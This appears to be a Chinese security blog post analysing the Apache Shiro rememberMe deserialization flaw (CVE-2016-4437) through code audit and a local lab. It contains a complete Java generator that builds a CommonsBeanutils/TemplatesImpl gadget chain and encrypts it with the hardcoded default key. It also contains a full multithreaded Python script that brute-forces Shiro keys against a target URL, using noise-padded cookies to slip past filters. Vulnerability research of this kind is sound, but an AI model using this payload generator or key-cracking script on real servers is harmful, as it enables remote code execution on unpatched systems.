shiro 反序列化漏洞-CVE-2016-4437

很早期的一个rememberMe反序列化漏洞,面试经常会问,但才想起还没从代码审计的角度分析过,所以快速分析下。

CVE描述

image-20260212183536584

对cookie中的RememberMe值进行反序列化时,由于使用的默认密钥,导致数据可伪造从而触发反序列化命令执行

漏洞环境

jdk8u66

        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version> 
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.2.4</version> 
        </dependency>

这里的环境用于生成payload,后续会切换到https://github.com/apache/shiro 中提供的sample web

分析

查看shiro-core的包可以很快发现一个叫RememberMeAuthenticationToken的接口,继而找到AbstractRememberMeManager

image-20260212224230216

用于实现rememberMe中的用户身份的序列化和反序列化,此处直接硬编码了默认密钥:

image-20260212224618149

初始化时就会设置这个默认密钥:

image-20260212230422273

其实就是设置了encryptionCipherKey和decryptionCipherKey字段,关注以下函数:

  • serialize:序列化,将PrincipalCollection对象序列化
  • encrypt:加密,发生在序列化后
  • decrypt:解密
  • deserialize:反序列化,发生在解密后,将解密的数据反序列化为PrincipalCollection对象
  • rememberSerializedIdentity:存放rememberMe cookie,存的是一段字节数组
  • getRememberedSerializedIdentity:取rememberMe cookie,取的是一段字节数组

然后CookieRememberMeManager又继承自AbstractRememberMeManager,所以过程应该还算比较清晰:

  • 存cookie:将PrincipalCollection对象进行序列化并加密得到一段字节数组,然后使用rememberSerializedIdentity存放这段字节数组
  • 取cookie:使用getRememberedSerializedIdentity取rememberMe cookie 字节数组,然后将字节数组解密并反序列化得到PrincipalCollection对象

于是我构造了:

package org.example.deserialization;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;
import org.example.tools.ReflectionUtils;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;


public class shiro {
    public static Object getEvilObject() throws NotFoundException, CannotCompileException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getConstructor();
        Object templatesImp = constructor.newInstance();

        ClassPool pool = ClassPool.getDefault();

        CtClass evilCtClass = pool.makeClass("EvilClass" + System.nanoTime());

//        String cmd = "java.lang.Runtime.getRuntime().exec(\"touch /tmp/success\");";
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        evilCtClass.makeClassInitializer().insertBefore(cmd);

        CtClass class1 = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

        byte[] evilBytecode = evilCtClass.toBytecode();

        if (evilCtClass.isFrozen()){
            evilCtClass.defrost();
        }
        evilCtClass.setSuperclass(class1);

        CtClass ctClass = pool.makeClass("ctClass" + System.nanoTime());


        //_bytecodes数组需要大于1
        ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilBytecode, ctClass.toBytecode()});
        System.out.println(evilCtClass.getName());
        //_name需要和要加载的恶意类名一致
        ReflectionUtils.setFieldValue(templatesImp, "_name", evilCtClass.getName());
        //_transletIndex需要大于等于0
        ReflectionUtils.setFieldValue(templatesImp,"_transletIndex",0);
        Class clazz2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        Constructor constructor2 = clazz2.getConstructor();

        ReflectionUtils.setFieldValue(templatesImp, "_tfactory", constructor2.newInstance());
        BeanComparator comparator = new BeanComparator("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        ReflectionUtils.setFieldValue(priorityQueue,"queue",new Object[]{templatesImp,templatesImp});// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(priorityQueue,"size",2);// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(comparator,"property","outputProperties");
        ReflectionUtils.setFieldValue(comparator,"comparator",comparator);
        return priorityQueue;
    }


    public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        DefaultSerializer serializer = new DefaultSerializer();
        byte[] payloads = serializer.serialize(getEvilObject());
        AesCipherService aes = new AesCipherService();
        aes.setKeySize(128);
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext);
        ByteSource plaintext = aes.decrypt(ciphertext.getBytes(), key);

        serializer.deserialize(plaintext.getBytes());
    }
}

但在反序列化时报错:Unable to deserialze argument byte array.

经过调试发现问题出现在处理二维字节数组时:

image-20260215182736362

shiro中写的forName没办法处理[[B,jdk自带的forName才可以处理。

已经确定序列化得到的payload是可以成功触发漏洞的,因此我需要一个现有的环境去做调试:

  • 去https://github.com/apache/shiro clone项目,然后切换分支:

    git clone https://github.com/apache/shiro.git
    cd shiro
    git checkout shiro-root-1.2.4
    
  • 取samples目录单独构建项目,也可以直接在原项目处构建

    image-20260215183543738

  • 环境:jdk8u66、tomcat 9.0.115

  • 修改samples/web/pom.xml并使用maven构建,需要修改jstl版本,不然无法正常处理jsp

    <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
    
  • 为了快速找链,我添加j了java agent

    image-20260215183713083

  • 部署:

    image-20260215183742134

  • 运行并访问:http://localhost:8080/samples_web_war/

    image-20260215183939128

  • 使用apifox请求触发漏洞

    image-20260215184249152

    直接触发计算器

以下为完整触发链路:

at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)
at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)
at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396)
at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604)
at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492)
at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342)
at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846)
at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148)
at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292)
at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359)
at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:142)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:166)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:88)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:491)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:83)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:643)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:72)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:398)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:939)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1832)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:973)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:491)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:745)

打个断点开始调试,于是我发现:

image-20260215184548462

THREAD_CL_ACCESSOR.loadClass成功处理了[[B

所以问题出现在THREAD_CL_ACCESSOR:

image-20260215184818159

  • 无法处理[[B的类加载器:

    Thread.currentThread().getContextClassLoader() = {Launcher$AppClassLoader@367}
    
  • 可以处理[[B的类加载器:

    {ParallelWebappClassLoader@4107}
    

所以本质是类加载器的问题

java chain快速利用

下载:https://github.com/vulhub/java-chains

image-20260215201431775

另外还可以填充一些垃圾字符:

image-20260215202243907

这是因为在将RememberMe Cookie使用Base64.decode转换为字节数组前会使用discardNonBase64做清理:

image-20260215202417876

image-20260215232808520

因此并不影响payload的使用,java chain还可以使用GCM加密模式去构造payload,我大概用java chain试了几个版本:

shiro version CB 链 密钥 加密模式
1.2.4 CB2(1.8) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.2 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM
1.9.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM

image-20260215232900730

显然高版本已经不会将密钥硬编码到代码中了

总结

写到这发现也没写个啥,再水水总结吧

  • Shiro<=1.2.4:CBC+硬编码默认密钥
  • 1.2.4<Shiro<1.4.2:CBC+随机AES密钥(如未自定义密钥)
  • shiro>=1.4.2:GCM++随机AES密钥(如未自定义密钥)

至于密钥爆破:

  • key字典:https://github.com/0xShe/Shiro-key-10w

  • 脚本(忘记从哪拿的了):

    import base64
    import uuid
    import requests
    import time
    import threading
    import concurrent.futures
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import urllib3
    import warnings
    import os
    import sys
    import random
    
    # ============== 禁用SSL警告 ==============
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=UserWarning, module="urllib3")
    
    # ============== 默认配置参数 ==============
    DEFAULT_TARGET_URL = "http://localhost:8080/samples_web_war/"
    DEFAULT_COOKIE_NAME = "rememberMe"
    DEFAULT_RESPONSE_COOKIE = "rememberMe=deleteMe"
    DEFAULT_KEY_FILE = "keys.txt"
    THREADS = 10
    MAX_RETRIES = 3
    RETRY_DELAY = 1
    USE_PROXY = False  # 改为 True 可启用代理
    DEBUG = True
    
    # ============== 代理配置 ==============
    PROXIES = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    
    # ============== 全局变量 ==============
    found_key = None
    lock = threading.Lock()
    tested_count = 0
    total_keys = 0
    
    # ============== 增强版“脏字符”插入策略 ===============
    SAFE_NOISE_CHARS = '@$`_-'
    INSERT_PROB = 0.04  # 提高到 4%(原为 2%),翻倍插入概率
    
    
    def add_noise_to_cookie(base64_str: str) -> str:
    
        if not base64_str:
            return base64_str
    
        clean = base64_str.rstrip('=')
        padding = '=' * (4 - len(clean) % 4) if len(clean) % 4 != 0 else ''
    
        result = []
        for i, char in enumerate(clean):
            result.append(char)
    
    
            if random.random() < INSERT_PROB:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
    
            if (i + 1) % random.randint(10, 20) == 0 and i < len(clean) - 1:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
        return ''.join(result) + padding
    
    
    def get_user_input():
        """获取用户输入配置参数"""
        print("=" * 70)
        print("Shiro RememberMe 脏数据注入爆破工具")
        print("✅ 插入频率提升:4% + 每10~20字符强制插入 @$`_-")
        print("=" * 70)
    
        target_url = input(f"[*] 请输入目标URL [默认: {DEFAULT_TARGET_URL}]: ") or DEFAULT_TARGET_URL
        if not target_url.startswith("http"):
            target_url = "http://" + target_url
    
        cookie_name = input(f"[*] 请输入请求Cookie名称 [默认: {DEFAULT_COOKIE_NAME}]: ") or DEFAULT_COOKIE_NAME
    
        response_cookie = input(f"[*] 请输入响应中的删除Cookie检测值 [默认: {DEFAULT_RESPONSE_COOKIE}]: ") or DEFAULT_RESPONSE_COOKIE
    
        while True:
            key_file = input(f"[*] 请输入密钥文件路径 [默认: {DEFAULT_KEY_FILE}]: ") or DEFAULT_KEY_FILE
            if os.path.isfile(key_file):
                break
            print(f"[-] 错误: 文件 '{key_file}' 不存在!")
    
        return target_url, cookie_name, response_cookie, key_file
    
    
    
    def encrypt_AES_CBC(msg, secretKey):
        try:
            iv = uuid.uuid4().bytes
            cipher = AES.new(secretKey, AES.MODE_CBC, iv)
            ciphertext = cipher.encrypt(pad(msg, AES.block_size))
            return iv + ciphertext
        except Exception as e:
            if DEBUG:
                print(f"[-] CBC 加密失败: {e}")
            return None
    
    
    def encrypt_AES_GCM(msg, secretKey):
        try:
            cipher = AES.new(secretKey, AES.MODE_GCM)
            ciphertext, auth_tag = cipher.encrypt_and_digest(msg)
            return cipher.nonce + ciphertext + auth_tag
        except Exception as e:
            if DEBUG:
                print(f"[-] GCM 加密失败: {e}")
            return None
    
    
    def generate_clean_cookie(key_base64: str, use_gcm=False) -> str:
    
        try:
            key = base64.b64decode(key_base64)
            if len(key) != 16:
                return None
    
            file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    
            if use_gcm:
                encrypted_data = encrypt_AES_GCM(file_body, key)
            else:
                encrypted_data = encrypt_AES_CBC(file_body, key)
    
            return encrypted_data and base64.b64encode(encrypted_data).decode('utf-8')
        except Exception as e:
            if DEBUG:
                print(f"[-] 生成 Cookie 失败: {e}")
            return None
    
    
    # ============== 网络请求和验证 ==============
    def send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie: str) -> requests.Response:
    
        dirty_cookie = add_noise_to_cookie(clean_cookie)
        cookies = {cookie_name: dirty_cookie}
    
        for attempt in range(MAX_RETRIES):
            try:
                response = requests.get(
                    target_url,
                    cookies=cookies,
                    timeout=5,
                    verify=False,
                    allow_redirects=False,
                    proxies=PROXIES if USE_PROXY else None
                )
                return response
            except Exception as e:
                if attempt < MAX_RETRIES - 1:
                    time.sleep(RETRY_DELAY)
                else:
                    return None
        return None
    
    
    def is_valid_response(response: requests.Response, response_cookie: str) -> bool:
        if not response or not hasattr(response, 'headers'):
            return False
    
        set_cookie_header = response.headers.get('Set-Cookie', '')
        return response_cookie not in set_cookie_header
    
    
    def test_mode(target_url, cookie_name, response_cookie, key_base64: str, use_gcm: bool) -> bool:
        clean_cookie = generate_clean_cookie(key_base64, use_gcm)
        if not clean_cookie:
            return False
    
        response = send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie)
        if not response:
            return False
    
        return is_valid_response(response, response_cookie)
    
    
    def test_key(target_url, cookie_name, response_cookie, key_base64: str) -> bool:
        global found_key, tested_count
    
        with lock:
            if found_key:
                return False
    
        # 只显示进度,不打印脏数据
        with lock:
            if found_key:
                return False
            tested_count += 1
            current = tested_count  # 保存当前计数,避免后续变化
    
    
        if current % 100 == 0:
            print(f"[-] 测试第 {current} 个密钥")
    
        # 测试 CBC
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=False):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, False)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (CBC): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        # 测试 GCM
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=True):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, True)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (GCM): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        return False
    
    
    
    def main():
        global found_key, total_keys
    
        target_url, cookie_name, response_cookie, key_file = get_user_input()
    
        try:
            with open(key_file, 'r') as f:
                keys = [line.strip() for line in f if line.strip()]
                total_keys = len(keys)
        except Exception as e:
            print(f"[-] 读取密钥文件失败: {e}")
            return
    
        if total_keys == 0:
            print("[-] 密钥文件为空")
            return
    
        print("\n" + "=" * 70)
        print(f"[*] 目标URL: {target_url}")
        print(f"[*] 请求Cookie名称: {cookie_name}")
        print(f"[*] 响应检测目标: '{response_cookie}'")
        print(f"[*] 密钥文件: {key_file} ({total_keys} 个密钥)")
        print(f"[*] 开始爆破,线程数: {THREADS}")
        print(f"[*] 插入脏字符: {SAFE_NOISE_CHARS}(频率增强)")
        print("=" * 70 + "\n")
    
        start_time = time.time()
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor:
            futures = [executor.submit(test_key, target_url, cookie_name, response_cookie, key) for key in keys]
    
            try:
                for future in concurrent.futures.as_completed(futures):
                    if found_key:
                        break
            except KeyboardInterrupt:
                print("\n[!] 用户中断")
    
        elapsed = time.time() - start_time
        print(f"\n[*] 测试完成,耗时: {elapsed:.2f}秒")
    
        if found_key:
            print(f"[+] 成功找到有效密钥: {found_key}")
        else:
            print("[-] 未找到有效密钥")
    
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] 用户中断,程序已退出")
            sys.exit(0)
    
Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐